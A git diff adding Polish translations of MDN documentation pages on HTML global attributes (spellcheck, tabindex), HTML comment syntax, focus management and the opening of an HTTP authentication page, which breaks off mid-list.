<td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>lang</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>spellcheck</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.8.1")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>style</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>tabindex</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>title</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td><code>accesskey</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>class</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>contenteditable</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>contextmenu</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>data-*</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("6")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>dir</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>draggable</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.8.1")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>dropzone</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>hidden</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>id</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>lang</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>spellcheck</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.8.1")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>style</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>tabindex</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>title</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("GlobalEventHandlers")}} interfaces that allow to query most global attributes.</li> +</ul> diff --git a/files/pl/web/html/global_attributes/pisownia/index.html b/files/pl/web/html/global_attributes/pisownia/index.html new file mode 100644 index 0000000000..ed230d2b07 --- /dev/null +++ b/files/pl/web/html/global_attributes/pisownia/index.html @@ -0,0 +1,63 @@ +--- +title: sprawdzanie pisowni +slug: Web/HTML/Global_attributes/pisownia +translation_of: Web/HTML/Global_attributes/spellcheck +--- +<div>{{HTMLSidebar("Global_attributes")}}</div> + +<p>The <code><strong>spellcheck</strong></code> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a> is an enumerated attribute defines whether the element may be checked for spelling errors.</p> + +<div>{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div> + +<p>It may have the following values:</p> + +<ul> + <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li> + <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> The <code>spellcheck</code> attribute is an <em>enumerated</em> one and not a <em>Boolean</em> one. This means that the explicit usage of one of the values <code>true</code> or <code>false</code> is mandatory, and that a shorthand like <code><textarea spellcheck></textarea> </code>is not allowed. The correct usage is <code><textarea spellcheck="true"></textarea></code>.</p> +</div> + +<p>If this attribute is not set, its default value is element-type and browser-defined. This default value may also be <em>inherited</em>, which means that the element content will be checked for spelling errors only if its nearest ancestor has a <em>spellcheck</em> state of <code>true</code>.</p> + +<p>This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the <code>spellcheck</code> attribute is set to <code>true</code> and the browser supports spellchecking.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("html.global_attributes.spellcheck")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li> +</ul> diff --git a/files/pl/web/html/global_attributes/tabindex/index.html b/files/pl/web/html/global_attributes/tabindex/index.html new file mode 100644 index 0000000000..4a53c0c203 --- /dev/null +++ b/files/pl/web/html/global_attributes/tabindex/index.html @@ -0,0 +1,114 @@ +--- +title: tabindex +slug: Web/HTML/Global_attributes/tabindex +translation_of: Web/HTML/Global_attributes/tabindex +--- +<p>{{HTMLSidebar("Global_attributes")}}</p> + +<p><a href="/en-US/docs/Web/HTML/Global_attributes">Atrybut globalny</a> <strong>tabindex </strong>jest integerem wskazującym, czy dany element może zostać wyszczególniony (jest <em>fokusyjny</em>) oraz czy powinien być brany pod uwagę przy nawigacji sekwencyjnej klawiatury i jeśli tak to na jakiej pozycji. Może przyjąć kilka wartosci:</p> + +<ul> + <li>wartość negatywna (<em>negative value</em>) oznacza, że element powinien być fokusyjny, ale nie powininen być osiągalny poprzez nawigację sekwencyjną klawiatury;</li> + <li>0 oznacza, że element powinien być fokusyjny i zarazem osiągalny przez nawigację sekwencyjną klawiatury, ale jego kolejność względna jest definiowana przez konwencję danej platformy;</li> + <li>wartość pozytywna (<em>positive value</em>) oznacza, że element powinien być fokusyjny i osiągalny przez nawigację sekwencyjną klawiatury; jego kolejność względna jest definiowana poprzez wartość atrybutu: następstwo sekwencyjne zwiększającej się wartości tabindex. Jeśli niektóre elementy posiadają ten sam tabindex, ich kolejność względna zależy od ich pozycji relatywnej w dokumencie</li> +</ul> + +<p>Element o wartości 0, wartości niewłaściwej lub bez wartości <strong>tabindex </strong>powinien zostać umieszczony poniżej tych elementów nawigacji sekwencyjnej klawiatury, które posiadają <strong>tabindex</strong> pozytywny.</p> + +<p>Jeśli ustalimy atrybut <code>tabindex</code> na {{htmlelement("div")}}, wówczas jego zawartość dziedziczna nie będzie przewijalna przy użyciu klawiszy strzałek chyba, że ustawimy tabindex również na zawartość. <a href="https://jsfiddle.net/jainakshay/0b2q4Lgv/">Zobacz tego fiddle'a, by zrozumieć efekt przewijania w odniesieniu do tabindex.</a></p> + +<div class="note"> +<p><strong>Adnotacja</strong>: Maksymalna wartość tabIndexu nie powinna przekraczać 32767. Jeśli nie została zdefiniowana to przyjmuje domyślną wartość -1.</p> +</div> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "editing.html#attr-tabindex", "tabindex")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5.1')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "editing.html#attr-tabindex", "tabindex")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot z {{SpecName('HTML WHATWG')}}, brak zmian od {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot z {{SpecName('HTML WHATWG')}}. Z {{SpecName("HTML4.01")}}, atrybut jest obecnie wspierany przez wszystkie elementy (atrybuty globalne).</td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td>Wspierany jedynie na {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, oraz {{HTMLElement("textarea")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>Wszystkie <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</li> + <li>{{domxref("HTMLElement.tabIndex")}}, który odzwierciedla ten atrybut.</li> + <li>Problemy dostępu z tabindex: zobacz <a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html" id="id-22" style="font-size: inherit; line-height: inherit;" title="Don’t Use Tabindex Greater than 0 | Adrian Roselli">Don’t Use Tabindex Greater than 0 | Adrian Roselli</a>.</li> +</ul> diff --git a/files/pl/web/html/index.html b/files/pl/web/html/index.html new file mode 100644 index 0000000000..7d331badf6 --- /dev/null +++ b/files/pl/web/html/index.html @@ -0,0 +1,56 @@ +--- +title: HTML +slug: Web/HTML +translation_of: Web/HTML +--- +<div> +<p><strong>HTML (ang.<em>HyperText Markup Language</em> - hipertekstowy język znaczników)</strong> jest używany do tworzenia stron internetowych i innych typów dokumentów przeznaczonych do oglądania w przeglądarce. HTML jest międzynarodowym standardem, którego specyfikacja jest zarządzana przez <a class="external" href="http://www.w3.org/">World Wide Web Consortium</a>. Aktualna wersja specyfikacji HTML to <a class="external" href="https://www.w3.org/TR/2017/REC-html51-20171003/">HTML 5.1</a>.</p> +</div> + +<table class="topicpage-table"> + <tbody> + <tr> + <td> + <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2> + + <dl> + <dt><a class="external" href="https://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html">Dlaczego układ oparty na tabelkach jest złym wyborem</a></dt> + <dd>Zobacz, skąd się bierze problem i poznaj metody przestawienia się częściowo lub całkowicie na układ pozbawiony (niewłaściwie użytych) tabel.</dd> + <dt><a href="/pl/docs/Obrazki%2c_tabele_i_tajemnicze_dziury">Obrazki, tabele i tajemnicze dziury</a></dt> + <dd>W wyniku powstawania przeglądarek zgodnych ze standardami, które układają strony WWW używając do tego HTML-a i CSS-u, każdy wygląd strony bazujący na dokładnym ułożeniu maleńkich obrazeczków w komórkach tabel zaczął być potencjalną katastrofą wizualną.</dd> + <dt><a href="/pl/docs/HTML/Znaczenie_poprawnego_komentowania">Znaczenie poprawnego komentowania</a></dt> + <dd>Podczas tworzenia HTML w <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/doctypes.html">trybie standardów</a>, niepoprawnie sformatowane komentarze mogą zepsuć Twoje strony, powodując wykomentowanie części lub całości ich treści. Podczas tworzenia XHTML lub XML, niepoprawne komentarze spowodują, że twoje dokumenty nie będą mogły w ogóle zostać wyświetlone.</dd> + <dt><a href="/pl/docs/Porady_odno%c5%9bnie_tworzenia_szybko_%c5%82aduj%c4%85cych_si%c4%99_stron_HTML">Porady odnośnie tworzenia szybko ładujących się stron HTML</a></dt> + <dd>Zoptymalizowana strona internetowa nie oznacza jedynie szybszej reakcji na odwiedzających twoją witrynę, ale także zmniejsza obciążenie twoich serwerów WWW i łącza internetowego. Może się to okazać kluczowe dla witryn o dużym natężeniu lub witryn, w których następuje nagły skok popularności z powodu niecodziennych okoliczności takich, jak sensacyjne historie podawane w mediach. Optymalizacja ładowania się strony nie służy tylko treściom, które zostaną obejrzane przez wąską grupę odwiedzających korzystających z modemu. Jest ona tak samo ważna dla treści szerokopasmowych i może zaowocować wielkimi usprawnieniami również dla odwiedzających z najszybszymi połączeniami.</dd> + </dl> + + <p><span class="alllinks"><a href="/pl/docs/tag/HTML">Pokaż wszystkie...</a></span></p> + </td> + <td> + <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2> + + <ul> + <li>Obejrzyj fora Mozilli... {{ DiscussionList("dev-tech-html", "mozilla.dev.tech.html") }}</li> + <li><a class="external" href="http://groups.yahoo.com/group/canvas-developers/">Grupa programistów w canvas - Yahoo</a></li> + </ul> + + <h2 class="Tools" id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h2> + + <ul> + <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li> + <li><a class="external" href="http://validator.w3.org/">Walidatory HTML</a></li> + <li><a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&application=firefox">Rozszerzenie Web Developer</a></li> + <li><a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a></li> + </ul> + + <p><span class="alllinks"><a href="/pl/docs/tag/HTML:Narzędzia">Pokaż wszystkie...</a></span></p> + + <h2 class="Related_Topics" id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h2> + + <ul> + <li><a href="/pl/docs/CSS">CSS</a>, <a href="/pl/docs/DOM">DOM</a>, <a href="/pl/docs/XHTML">XHTML</a>, <a href="/pl/docs/XML">XML</a>, <a href="/pl/docs/HTML/Canvas">Canvas</a></li> + </ul> + </td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html b/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html new file mode 100644 index 0000000000..aa5f4cd009 --- /dev/null +++ b/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html @@ -0,0 +1,28 @@ +--- +title: Kontrola sprawdzania pisowni w formularzach HTML +slug: Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML +translation_of: Web/HTML/Global_attributes/spellcheck +--- +<p> </p> +<p>Firefox 2 wprowadza wsparcie dla sprawdzania pisowni w polach i obszarach tekstowych w formularzach. Użytkownik może, używając interfejsu about:config, włączyć lub wyłączyć sprawdzanie pisowni oraz czy sprawdzać zawartość zarówno obszarów tekstowych jak również pól, czy tylko obszarów.</p> +<p>Domyślnie zwartość obszarów tekstowych jest sprawdzana, a pól - nie.</p> +<p>Jednakże, mogą zdarzyć się sytuacje kiedy takie zachowanie może nie być poprawne. Dla przykładu, jeśli obszar tekstowy służyć ma do wprowadzania lub edycji HTML lub podobnych danych, sprawdzanie pisowni stanowiłoby raczej przeszkodę aniżeli pomoc. Podobnie, mogą zdarzyć się sytuacje, kiedy strona sieci Web powinna rekomendować Firefoksowi by sprawdzanie pisowni było włączone dla określonego pola tekstowego.</p> +<p>Jeśli strona sieci Web wymaga włączenia lub wyłączenia sprawdzania pisowni dla danego elementu <code><input></code>, autor może zastosować atrybut <code>spellcheck</code>, podając wartość <code>true</code> jeśli sprawdzanie pisowni powinno być włączone lub <code>false</code> - jeśli powinno być wyłączone.</p> +<p>Proszę pamiętać, że rekomendacja strony może zostać zignorowana jeśli użytkownik wyłączył sprawdzanie pisowni globalnie, poprzez ustawienie wartości <code>layout.spellcheckDefault</code> na 0. Jeśli <code>layout.spellcheckDefault</code> ma jakąkolwiek inną wartość, rekomendacje są brane pod uwagę.</p> +<p>Możesz zakodować pole tekstowe by używało sprawdzania pisowni używając kodu HTML podobnego do poniższego:</p> +<pre class="eval"><span class="nowiki"><input type="text" size="50" spellcheck="true"></span> +</pre> +<p>Podobnie, możesz zakodować pole tekstowe z wyłączonym sprawdzaniem pisowni używając kodu HTML podobnego do poniższego:</p> +<pre class="eval"><span class="nowiki"><textarea spellcheck="false"></textarea></span> +</pre> +<p>Możesz również zastosować atrybut <code>spellcheck</code> do innych elementów, jak na przykład elementy <code><span></code> i <code><div></code>. W tym wypadku jakiekolwiek zawarte w nich elementy <code><input></code> zastosują to ustawienie; elementy nie posiadające atrybutu <code>spellcheck</code> odziedziczą ustawienie sprawdzania pisowni po ich rodzicach. Jeśli nie ma żadnych podanych ustawień, zastosowane zostaną domyślne ustawienia użytkownika.</p> +<p>Na przykład:</p> +<pre><div spellcheck="true"> + <label>Wpisz zdanie: </label><input type="text" size="50"> + <br /> + <label>Wpisz inne zdanie: </label><input type="text" size="50"> +</div> +<br /> +<label>Wpisz trzecie zdanie: </label><input type="text" size="50"> +</pre> +<p>W tym fragmencie kodu HTML, zawartość pierwszych dwóch pól tekstowych zostanie sprawdzona, za to trzeciego - nie.</p> diff --git a/files/pl/web/html/zarządzanie_fokusem_w_html/index.html b/files/pl/web/html/zarządzanie_fokusem_w_html/index.html new file mode 100644 index 0000000000..484fb119c6 --- /dev/null +++ b/files/pl/web/html/zarządzanie_fokusem_w_html/index.html @@ -0,0 +1,18 @@ +--- +title: Zarządzanie fokusem w HTML +slug: Web/HTML/Zarządzanie_fokusem_w_HTML +tags: + - DOM + - Firefox 3 + - HTML + - Wszystkie_kategorie +translation_of: Web/API/Document/hasFocus +--- +<p>{{ Fx_minversion_header(3) }} +{{ Draft() }} +</p><p>W programie Firefox 3 wprowadzono obsługę dwóch nowych atrybutów DOM, zdefiniowanych w roboczej wersji specyfikacji HTML 5: <code><a href="pl/DOM/document.activeElement">activeElement</a></code> i <code><a href="pl/DOM/document.hasFocus">hasFocus</a></code>. +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Focus_management_in_HTML", "es": "es/Gesti\u00f3n_del_foco_en_HTML", "fr": "fr/Gestion_du_focus_en_HTML", "ja": "ja/Focus_management_in_HTML" } ) }} diff --git a/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html b/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html new file mode 100644 index 0000000000..fe5b67106a --- /dev/null +++ b/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html @@ -0,0 +1,64 @@ +--- +title: Znaczenie poprawnego komentowania +slug: Web/HTML/Znaczenie_poprawnego_komentowania +tags: + - HTML + - Wszystkie_kategorie +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments +--- +<p> </p> +<h2 id="Znaczenie_poprawnego_komentowania" name="Znaczenie_poprawnego_komentowania">Znaczenie poprawnego komentowania</h2> +<p>Podczas tworzenia HTML w <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/doctypes.html">trybie standardów</a>, niepoprawnie sformatowane komentarze mogą zepsuć twe strony, powodując wykomentowanie części lub całości ich treści. Podczas tworzenia XHTML lub XML, niepoprawne komentarze spowodują, że twoje dokumenty nie będą mogły w ogóle zostać wyświetlone.</p> +<h3 id="HTML_4.01" name="HTML_4.01">HTML 4.01</h3> +<p> + <i> + Z <a class="external" href="http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.4">Rekomendacji W3C dla HTML 4.01, Sekcji 3.2.4 - Komentarze</a>:</i> +</p> +<p>Biała spacja nie jest dozwolona między otwierającym delimiterem deklaracji znacznika ("<!") a otwierającym delimiterem komentarza ("--"), ale jest dozwolona między zamykającym delimiterem komentarza ("--") i zamykającym delimiterem deklaracji znacznika (">"). Pospolitym błędem jest umieszczanie łańcucha kresek ("---") wewnątrz komentarza. Twórcy powinni unikać wstawiania wewnątrz komentarza dwóch lub więcej sąsiadujących kresek.</p> +<h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4> +<p>Poniżej przedstawiono prawidłowe komentarze HTML.</p> +<pre class="eval"><!-- poprawny komentarz HTML --> +<!-- poprawny komentarz HTML -- > +</pre> +<p>Poniżej przedstawiono nieprawidłowy komentarz HTML.</p> +<pre class="eval"><!-- niepoprawny -- komentarz HTML --> +</pre> +<h3 id="XML" name="XML">XML</h3> +<p> + <i> + Z <a class="external" href="http://www.w3.org/TR/REC-xml#sec-comments">Rekomendacji W3C dla XML 1.0, Sekcji 2.5 - Komentarze</a>:</i> +</p> +<blockquote> + <b>Definicja:</b> Komentarze mogą pojawiać się w dokumencie gdziekolwiek poza innymi znacznikami; ponadto mogą pojawiać się wewnątrz deklaracji typu dokumentu w miejscach dozwolonych przez gramatykę. Nie wchodzą w skład danych znakowych dokumentu; procesor XML może, choć nie musi, umożliwić aplikacji wydobywać tekst komentarzy. W celu zapewnienia kompatybilności, łańcuch "--" (podwójna kreska) nie może występować wewnątrz komentarzy. Odwołania do parametrów encji nie mogą być rozpoznawane wewnątrz komentarzy. + <pre>[15] Comment ::= '<!--' ((Char - '-') | ('-' (Char - '-')))* '-->' +</pre> +</blockquote> +<p>Zgodnie z opisem gramatyki komentarzy w XML, komentarz ma postać</p> +<pre class="eval"><!-- znaki bez sąsiadujących kresek --> +</pre> +<h4 id="Przyk.C5.82ady_2" name="Przyk.C5.82ady_2">Przykłady</h4> +<p>Poniżej przedstawiono prawidłowy komentarz XML i XHTML.</p> +<pre class="eval"><!-- poprawny komentarz xml/xhtml --> +</pre> +<p>Poniżej przedstawiono nieprawidłowe komentarze XML i XHTML.</p> +<pre class="eval"><!-- nieprawidłowy -- komentarz xml --> +<!-- nieprawidłowy komentarz xml ---> +<!-- nieprawidłowy komentarz xml -- > +</pre> +<h3 id="Lektury_uzupe.C5.82niaj.C4.85ce" name="Lektury_uzupe.C5.82niaj.C4.85ce">Lektury uzupełniające</h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.4">Rekomendacja HTML 4.01: 3.2.4 - Komentarze</a></li> + <li><a class="external" href="http://www.w3.org/TR/REC-xml#sec-comments">Rekomendacja XML: 2.5 - Komentarze</a></li> + <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=144432">Błąd na Bugzilli nr 144432</a></li> + <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=102127">Błąd na Bugzilli nr 102127</a></li> +</ul> +<div class="originaldocinfo"> + <h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie">Informacje o dokumencie</h3> + <ul> + <li>Ostatnia aktualizacja: 19 maj 2003</li> + <li>Copyright © 2001-2003 Netscape. All rights reserved.</li> + <li>Tłumaczenie: Krzysztof Jurewicz</li> + </ul> +</div> +<div class="noinclude"> + </div> diff --git a/files/pl/web/http/authentication/index.html b/files/pl/web/http/authentication/index.html new file mode 100644 index 0000000000..d1a365fd50 --- /dev/null +++ b/files/pl/web/http/authentication/index.html @@ -0,0 +1,135 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +<div><font><font>{{HTTPSidebar}}</font></font></div> + +<p class="summary"><span class="seoSummary"><font><font>Protokół HTTP zapewnia ogólną strukturę kontroli dostępu i uwierzytelniania. </font><font>Ta strona stanowi wprowadzenie do struktury HTTP służącej do uwierzytelniania i pokazuje, jak ograniczyć dostęp do serwera za pomocą schematu HTTP „Basic”.</font></font></span></p> + +<h2 id="Ogólna_struktura_uwierzytelniania_HTTP"><font><font>Ogólna struktura uwierzytelniania HTTP</font></font></h2> + +<p><font><font>{{RFC ("7235")}} definiuje strukturę uwierzytelniania HTTP, która może być używana przez serwer do {{glosariusza ("wyzwanie")}} żądania klienta, a przez klienta do dostarczania informacji uwierzytelniających.</font></font></p> + +<p><font><font>Wyzwanie i przepływ odpowiedzi działają w następujący sposób:</font></font></p> + +<ol> + <li><font><font>Serwer odpowiada klientowi statusem odpowiedzi {{HTTPStatus ("401")}} (Unauthorized) i dostarcza informacji na temat autoryzacji za pomocą nagłówka odpowiedzi {{HTTPHeader ("WWW-Authenticate")}} zawierającego co najmniej jeden wyzwanie.</font></font></li> + <li>A client that wants to authenticate itself with the server can then do so by including an {{HTTPHeader("Authorization")}} request header with the credentials.</li> + <li>Usually a client will present a password prompt to the user and 